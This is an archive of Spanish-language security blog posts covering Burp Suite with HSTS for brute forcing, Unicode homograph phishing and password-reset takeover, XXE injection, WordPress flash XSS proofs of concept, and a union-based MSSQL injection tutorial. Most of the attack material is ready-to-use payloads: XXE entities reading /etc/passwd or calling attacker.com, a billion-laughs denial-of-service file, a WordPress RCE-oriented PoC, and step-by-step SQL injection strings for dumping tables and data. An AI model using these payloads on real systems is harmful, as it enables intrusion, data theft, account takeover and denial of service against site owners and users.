miércoles, 19 de octubre de 2016

HSTS Seguir usando con Burp Suite

Les comparto algo que me paso hace poco al querer intentar realizar un ataque por fuerza bruta a una pagina que incluia HSTS (Seguridad de transporte HTTP estricta). 

Me salia algo como esto:



Primero antes que anda comenzare definiendo lo que es HSTS:

Es un mecanismo de politica de seguridad web segun la cual un servidor web declara a los agentes de usuario compatibles (por ejemplo, un Navegador web, en este caso Burp Suite) que deben interactuar con ellos solamente mediante conexiones HTTP seguras (es decir, en capas HTTP sobre TLS/SSL). La politica HSTS es comunicada por el servidor al agente de usuario a traves de un campo de la cabecera HTTP de respuesta denominado "Strict-Transport-Security". La politica HSTS especifica un periodo de tiempo durante el cual el agente de usuario debera acceder al servidor solo de forma segura.

Para poder usarlo con Burp Suite lo que tendriamos que hacer es usar un navegador que no soporte en este caso la tecnologia HSTS, o jugar con el user-agent... Les recomiendo el plugin User Agent Switcher para firefox y chrome.

Segun wikipedia estos son los navegadores que soportan HSTS:


  • Google Chrome admite HSTS partir de la versión 4.0.211.0.21
  • HSTS está incluido en Firefox 4.22 Con Firefox 17, Mozilla da una lista de sitios web que soportan HSTS.23
  • Opera 1224

Ahora y lo mas importante para poder usar HSTS en Burp suite es instalar el certificado CA (el cual no debe ser compartido, ni prestado), las instrucciones para instalar el certificado de burp suite en Firefox estan en la pagina oficial de Burp suite pero igual se los muestro:

https://support.portswigger.net/customer/portal/articles/1783087-installing-burp-s-ca-certificate-in-firefox

Con el proxy de burp suite configurado en firefox realizas los siguientes pasos:

1.- Ingresar a http://burp/
2.- Dar click en CA certificate
3.- Guardar el certificado
4.- Vamos a preferencias/opciones o about:preferences 
5.- Luego en Avanzado>Certificados>Ver Certificados
7.- Importar
8.- Agregamos el certificado de Burp suite y ahora podemos usarlo!
 

Homografos Unicode en URL's Y Cambio de Contraseñas

Hola he estado bastante ocupado y no habia tenido chance de publicar en el BLOG, pero ahora les traigo algo que me parecio interesante en estos dias...

Primero que nada vamos con dos definiciones para dejar los puntos importantes claros!
 

Homografo

Que se escribe y se pronuncia exactamente igual que otra pero tiene distinto significado.

Unicode

Es un estandar de codificacion de caracteres diseñado para facilitar el tratamiento informatico, transmision y visualizacion de textos de multiples lenguajes y disciplinas tecnicas, ademas de textos clasicos de lenguas muertas.

Muchas personas usaban estos caracteres unicode, recuerdo en la red de metroflog, para usar sus "caritas lindas" al escribir un mensaje.

Aqui les dejo una tabla unicode con los caracteres mas populares:
http://unicode-table.com/es/


Ahora si a lo que vamos...



No se si hayan escuchado el termino "phishing" que es cuando atraes al usuario a entrar a una URL donde esta montado un SCAM (pagina falsa) en la cual tus datos importantes son capturados.

Bueno pues la mayoria de estos sitios son identificados por las URL's que manejan son poco "confiables" o simplemente por que son reportadas como tales (paginas phishing), veamos un ejemplo:

www.faceboolk.com

seria una url muy parecida a la de facebook exepto que tiene la "l" ahi... esto seria una buena URL para una pagina falsa... pero que pasa si los caracteres no son mas que parecidos visualmente (homografo)... Ejemplo:

www.facebook.com

si miras esa "f" es una F codificada en Unicode... Pero el dominio sigue siendo el mismo... o Parecido visualmente... Por lo cual la gente puede caer en unos de estos ataques rapidamente (Tambien podemos incluir un open redirect una vulnerabilidad comun hoy en dia).

Les dejo dos paginas para que puedan realizar esto de una manera ilustrativa:

http://www.irongeek.com/homoglyph-attack-generator.php
http://savanttools.com/unicode-to-ascii.asp


Ahora el otro tipo de ataque que les comentaba era el cambio de contraseñas, por medio de este mismo ataque, hace poco escuche que hicieron un ataque parecido a github.

Digamos este caso:

Tenemos un correo que esta registrado en una pagina y se llama:

arthusu@micorreo.com

Entonces, nosotros al poner olvide mi contraseña es obvio que va enviar un codigo... al correo o al numero de telefono asociado a la cuenta.

En caso de que la aplicacion este mal programada podemos hacer uso de un correo muy parecido visualmente (homografo), ejemplo:


arthusu@micorreo.com

Cremos un dominio con micorreo.com, y es obvio que nos llegara un correo con el link para establecer una nueva contraseña.

Eso es todo en esta entrada, no inclui imagenes, no inclui pruebas, pero les dejo la idea por si alguna vez llegasen a intentar el ataque, no creo que se necesiten pruebas pero por si las dudas...
 

jueves, 4 de agosto de 2016

Inyeccion XXE: Ataque y Defensa

VIDEO ALGUIENENLAFISI




0x00 Prologo

XXE es una inyección de entidad externa XML. Las vulnerabilidades son problemas de seguridad por el procesamiento de los datos no seguros en la entidad externa iniciada. En la norma de XML 1.0, la estructura del documento XML con entidad definida (ENTITY), este concepto pueden ser entidades predefinidas, y llamar en el identificador del documento de la entidad la cual puede tener acceso al contenido local o remoto. La introducción de fuentes de contaminación (parámetros de inyeccion) en el proceso, después del procesamiento del documento XML puede conducir a otros problemas de seguridad y la fuga de información.

0x01 Amenaza

XXE es una vulnerabilidad que aun no ha recibido una gran atención,con XXE un atacante puede leer cualquier archivo, realizar ataques de denegación de servicio DOS, y escaneo interno a la red.

Hay diferentes analizadores XML para manejar entidades externas cada uno tiene diferentes reglas, pero la función de procesamiento por defecto en PHP es:


xml_parse o simplexml_load


La biblioteca xml_parse por defecto no resolverá entidades externas, y el siguiente por defecto simplexml_load resolverá entidades externas que suponen una amenaza para la seguridad.

Ademas de PHP, el problema puede existir en Java, Python y otros componentes y funciones de procesamiento XML.

0x02 Sintaxis

Escribir un Payload, primero debe tener una cierta comprensión de gramática de entidades XML, la sintaxis de la entidad XML que se define es:

<!DOCTYPE filename[      <!ENTITY entity-name "entity-content"  ]>

Si desea hacer referencia a un recurso externo, puede utilizar varios protocolos algunos ejemplos:


file:///path/to/file.ext 
http://url/file.ext 
php://filter/read=convert.base64-encode/resource=conf.php   

Por lo tanto, la construccion de varios modelos de payloads sencillos son los siguientes:


<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Puede leer el contenido del sitio web:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Si el archivo contiene un fallo puede deberse a los documentos cuando se lee el propio archivo PHP contiene caracteres tales, que solo pueden ser eludidos utilizando base64:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]><methodcall><methodname>&xxe;</methodname></methodcall>


0x03 Ataque

Con XXE hay varios ataques disponibles y abiertos:

  • Denegación de servicio


PoC


<?xml version = "1.0"?> 
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)> 
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>


PoC: Se define la primera entidad que es lol la cadena "lol" despues también se definen las entidades LOL2 esta entidad hace referencia a lol1 10 veces, lol3 ha citado 10 veces a las entidades de lol2 y asi sucesivamente, en referencia al ultimo lol9 lolz, existirá miles de millones la cadena "lol"

En este punto sin hacer manejo especial al analizar los datos, que pueden dar lugar a ataques de denegación de servicio.

Tambien hay un payload que puede causar denegacion de servicio con la lectura de /dev/random   


  • Información de red
Con variedad de protocolos como HTTP, XXE puede ayudar en el analisis de la red, el acceso a la red puede ser capaz de abrir el servicio de servidor WEB, y obtener informacion adicional:



  • Leer archivos
El uso mas convencional y mas eficaz de las ideas:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Adjuntamos dos imágenes, en el proceso de implementacion de leer un archivo:



0x04 Defensa

1.- Compruebe la biblioteca de tratamiento XML subyacente utilizada, la resolución predeterminada prohíbe entidad externa.


2.- Utilizar un código de aplicación de terceros con un parche de manera oportuna.

3.- Al mismo tiempo, mejorar el sistema de vigilancia para exitar este problema de explotación.

Para PHP, problema de análisis de XML simplexml_load_string se encuentra en la biblioteca libxml, por lo que se puede llamar a una función de carga antes de entidad:

 <?php libxml_disable_entity_loader(true); ?> 

Para una mayor proteccion por XMLReader y Analizar el DOM, se puede hacer referencia al codigo siguiente:


<?php// with the XMLReader functionality:$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:$dom = new DOMDocument();$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);?>>

0x05 Referencias



Este articulo ha sido traducido desde: http://le4f.net/ por arthusu

viernes, 13 de mayo de 2016

WordPress SOME bug en plupload.flash.swf

Resumen rapido

* SOME en Wordpress 4.5.1
* Reportado a finales de abril
* Corregido en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable de nuevo a Same-Origin Method Execution (SOME) vulnerabilidad que se deriva por un proceso de sanatizacion de una URL insegura en el archivo plupload.flash.swf. El codigo en el archivo intenta remover FlashVars en su caso para establecer los parametros por GET pero falla al hacer esto, habilitando XSS via ExternalInterface.

El ataque fue descrito por Soroush Dalili in 2013. La vulnerabilidad en plupload.flash.swf fue descubierta en abril del 2016, primeramente identificada como SOME bug por Kinugawa. Entonces, despues el team lo reviso, la completa explotacion fue descubierta y analizada por Heiderich, Filedescriptor, Kinugawa and Inführ. Finalmente, es decubierto, que el archivo viene empaquetado en la ultima version de Wordpress y el problema fue reportado via HackerOne por Heiderich et al.

PoC Simple:  http://ejemplo.com/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&

Un PoC mas complejo fue creado para demostrar el ataque potencial Remote Code Execution (RCE) de esta vulnerabilidad. Una descripcion detallada puede ser encontrada mas abajo:

<button onclick="fire()">Click</button>
<script>
function fire() {
 open('javascript:setTimeout("location=\'http://example.com/wp-includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');
  setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
</script>
  

Para ver la explicacion a profundidad y el post original:

https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e

jueves, 12 de mayo de 2016

Wordpress XSS en flashmediaelement.swf

Resumen rapido

* XSS reflejado en Wordpress 4.5.1
* Reportado a finales de abril
* Arreglado en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable frente a un xss reflejado que se deriva de un proceso de inseguro de sanatizacion en la URL en el archivo flashmediaelement.swf. El codigo en el archivo intenta quitar FlashVars en caso de que se establezcan parametros en GET, pero no lo hace, lo que permite el XSS a traves de ExternalInterface

El ataque fue descubierto por primera vez por Soroush Dalili en 2013. La vulnerabilidad en flashmediaelement.swf fue descubierta en abril del 2016, identificado por primera vez como SOME bug por Kinugawa. Entonces despues de una revision en equipo, el potencial XSS fue descubierto y analizado por Heiderich, Kinugawa y Inführ. Por ultimo, se ha descubierto, que este archivo viene empaquetado con la ultima version de Wordpress y el problema se reporto a traves de HackerOne por Heiderich et al.

PoC: http://ejemplo.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1` 



Post Original y para ver como funciona el ataque por dentro:

https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c

viernes, 19 de febrero de 2016

MSSQL Union Based SQL Injection

Introduccion

La mayoria de las aplicaciones web que usan Miscrosoft SQL SERVER usan como tecnologia ASP/ASPX, en este tutorial si es que se le puede llamar de esa manera veremos como inyectar una pagina que contiene una base de datos Microsoft SQL SERVER. 

Los errores mas comunes que se pueden ver para saber si es vulnerable la aplicacion web, son los siguientes:

 

Detectando el tipo de inyeccion

Agregamos la comilla simple (') y vemos si arroja error... Ok, pero si agregamos comilla doble (") tambien arroja error... Para saber cual de las dos es la correcta agregamos un comentario...

' --+- No Hay error
" --+- Si Hay error

De esta manera, detectamos que la inyeccion es de tipo String. En caso de que quitando la comilla simple o doble, no hubiese habido error seria de tipo entero (Esto por como estan los parametros donde inyectamos).

Podemos agregar diferentes tipos de comentarios, podemos tomar como referencia la pagina de Roberto Salgado






Ahora a contar columnas

Para contar las columnas que tiene usamos ORDER BY... 

' ORDER BY 10000 --+- ERROR
' ORDER BY 10 --+- ERROR
' ORDER BY 1,2 --+- OK


En caso de que este fuera de limite te saldra un mensaje como el siguiente:


En este caso son 2 columnas solamente.


Unir la consulta original con la nuestra

Lo siguiente seria unir la consulta original con la nuestra para ello usaremos... UNION y SELECT para seleccionar datos.

' UNION SELECT 1,2 --+- ERROR

En caso de que tire un error, por usar numeros, podemos sustituir esos valores por nulos.



Es por que no contienen el mismo 'tipo de dato' por lo cual usaremos NULL en cada columna, ejemplo: UNION SELECT null,null,null...

' UNION SELECT null,null --+- OK

Para ver las columnas vulnerables en la web (en caso de que no se muestren) negaremos la primera consulta, en este caso utilizando: and 1=0 lo cual es falso, negando la primera consulta.

' AND 1=0 UNION SELECT null,null --+- OK

Mostrando datos

Usaremos @@version para saber la version que contiene la base de datos, de esta manera podemos saber que base de datos es la que contiene por defecto y estan disponibles.

 

En este caso nos arroja la version Microsoft SQL Server 2000:



Para conocer la base de datos actual utilizamos db_name().

Estas son algunas de las formas que podemos conseguir mas informacion en MSSQL:

@@version - Version Actual
user_name() - Nombre de Usuario Actual
user, system_user, current_user - Nombre de Usuario Actual
db_name() - Base de Datos Actual
@@servername - Nombre del Host


Extrayendo tablas, columnas y datos

Ahora vamos a extraer los nombres de las tablas, la sintaxis es un poco diferente a MySQL:

 
' AND 1=0 UNION SELECT table_name,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK      

' AND 1=0 UNION SELECT table_name,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK   

' AND 1=0 UNION SELECT table_name,null from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK     


En este caso cambiaremos TOP 1 por TOP 2 y asi sucesivamente, esto es como un LIMIT en MySQL, para limitar los resultados que va arrojando.

La siguiente sintaxis es para extraer las columnas de la tabla que selecciones:

' AND 1=0 UNION SELECT column_name,null from (select top 1 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 2 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 3 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


Como anteriormente lo hicimos con el TOP limitamos los resultados.

Por ultimo para extraer los datos en si, solo necesitariamos las tablas y columnas que queremos sacar los datos, y para concatenarlas utilizaremos + (%2b):

' AND 1=0 UNION SELECT TOP 1 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 2 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 3 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+-   
    
%2b es lo mismo que + solo que en URLENCODE.